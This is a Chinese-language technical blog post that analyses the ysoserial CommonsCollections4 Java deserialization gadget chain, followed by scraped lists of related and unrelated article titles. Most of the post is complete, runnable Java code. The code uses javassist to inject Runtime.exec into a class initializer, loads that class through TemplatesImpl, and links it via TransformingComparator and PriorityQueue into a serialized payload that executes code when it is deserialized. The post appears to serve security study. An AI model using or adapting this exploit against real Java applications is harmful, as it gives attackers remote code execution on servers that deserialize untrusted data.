ysoserial CommonsColletions4分析

其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点。

不过要注意的是,CC4和CC2一样需要在commons-collections-4.0版本使用,3.1-3.2.1版本不能去使用,原因是TransformingComparator类在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化。

JDK版本对于CC2和CC4来说,1.7和1.8都测试成功,下面我们就来快速构造一下payload

构造payload

CC4用的是javassist创建攻击类,使用TemplatesImpl类中的newTransformer方法触发攻击类中的静态方法

public class Demo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool= ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes=payload.toBytecode();//转换为byte数组 TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
templatesImpl.newTransformer();
}
}

通过ConstantTransformer、InstantiateTransformer、ChainedTransformer三个类构造出一条调用链

        Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})
};
ChainedTransformer chain = new ChainedTransformer(transformers);

利用TransformingComparator触发chain#transform

        TransformingComparator comparator = new TransformingComparator(chain);//使用TransformingComparator修饰器传入transformer对象

因为在优先级队列PriorityQueue反序列时候,满足条件即可调用到compare方法,所以利用这点来调用到TransformingComparator的compare

        //创建PriorityQueue实例化对象,排序后使size值为2
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(1); Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);
field2.set(queue, comparator);//设置PriorityQueue的comparator字段值为comparator Field field3 = queue.getClass().getDeclaredField("queue");//获取PriorityQueue的queue字段
field3.setAccessible(true);
field3.set(queue, new Object[]{templatesImpl, templatesImpl});//设置PriorityQueue的queue字段内容Object数组,内容为templatesImpl

最后几个注意点复习下:

size>= 2:对应queue.add调用两次

initialCapacity的值不能小于1:对应new PriorityQueue(1)

comparator的值要通过反射进行传入,不然会在序列化时候抛出异常

构造出的Payload:

public class payload01 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool= ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes=payload.toBytecode();//转换为byte数组 TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "xxxx");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})
};
ChainedTransformer chain = new ChainedTransformer(transformers); TransformingComparator comparator = new TransformingComparator(chain);//使用TransformingComparator修饰器传入transformer对象 //创建PriorityQueue实例化对象,排序后使size值为2
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(1); Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);
field2.set(queue, comparator);//设置PriorityQueue的comparator字段值为comparator Field field3 = queue.getClass().getDeclaredField("queue");//获取PriorityQueue的queue字段
field3.setAccessible(true);
field3.set(queue, new Object[]{templatesImpl, templatesImpl});//设置PriorityQueue的queue字段内容Object数组,内容为templatesImpl ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close(); System.out.println(barr);
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

ysoserial CommonsColletions4分析的更多相关文章

  1. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  2. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  3. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  4. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  5. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  6. ysoserial CommonsColletions3分析(1)

    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...

  7. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  8. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

  9. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

随机推荐

  1. java常见面试题目

    (面的初级到中级之间的,却有很多高级的问题) 总结一些常见的遇见的面试题(来自各方面收集) 1.开发中Java用了比较多的数据结构有哪些? 2.谈谈你对HashMap的理解,底层原理的基本实现,Has ...

  2. Nginx中location匹配及rewrite重写

    目录 一.常用的Nginx正则表达式 二.location 2.1.location三类匹配类型 2.2.常用的匹配规则 2.3.location优先级 2.3.1.举例说明 2.4.实际网站使用中, ...

  3. Linux 基础学习篇笔记 Linux基础知识

    哎呀,翻到第一篇,映出眼帘的标题:从Unix到Linux(我就知道学习不能急,不能像我,看个简介,就赶忙去查了,原来作者在这里给出详细的介绍了) 1.1根据书上写的,原来linux的内核是被Linus ...

  4. docker搭建kafka集群(高级版)

    1. 环境docker, docker-compose 2.zookeeper集群 /data/zookeeper/zoo1/config/zoo.cfg # The number of millis ...

  5. 【原创】深入分析Ubuntu本地提权漏洞CVE-2017-16995

    *本文首发阿里云先知安全技术社区,原文链接https://xz.aliyun.com/t/2212 前言: 2018年3月中旬,Twitter 用户 @Vitaly Nikolenko 发布消息,称 ...

  6. Linux文件系统只读 解决方案:

    Linux系统Read-only file system,文件系统只读排查解决方案:文件系统只读机制:当文件系统自身的校验机制发现文件系统存在问题时,为避免文件系统受到进一步的损坏,系统会把文件系统设 ...

  7. 轻松上手SpringBoot+SpringSecurity+JWT实RESTfulAPI权限控制实战

    前言 我们知道在项目开发中,后台开发权限认证是非常重要的,springboot 中常用熟悉的权限认证框架有,shiro,还有就是springboot 全家桶的 security当然他们各有各的好处,但 ...

  8. Vamware没有卸载干净,导致无法重装,无法删除VMware旧版本,请与技术小组联系

    原因:注册表没有清理干净!!! 问题:把文件夹清理了n遍,却无法重装VMware,报错如标题. 原因:相关注册表没删完. 解决办法: - 1.创建一个.txt文本: - 2.将下面的内容复制到.txt ...

  9. ubunt中,使用命令su命令切换root账户,提示认证失败

    报错截图: 解决方法: sudo passwd 重新设置root账户的密码,确认root账户的密码(再次输入密码),然后su ,输入root账户刚刚设置的密码即可切入到root账户:

  10. .net core signalR 服务端强制中断用户连接

    .net core signalR 服务端断开连接 { } { } *:first-child { } *:last-child { } { } { } { } { } { } { } { } { } ...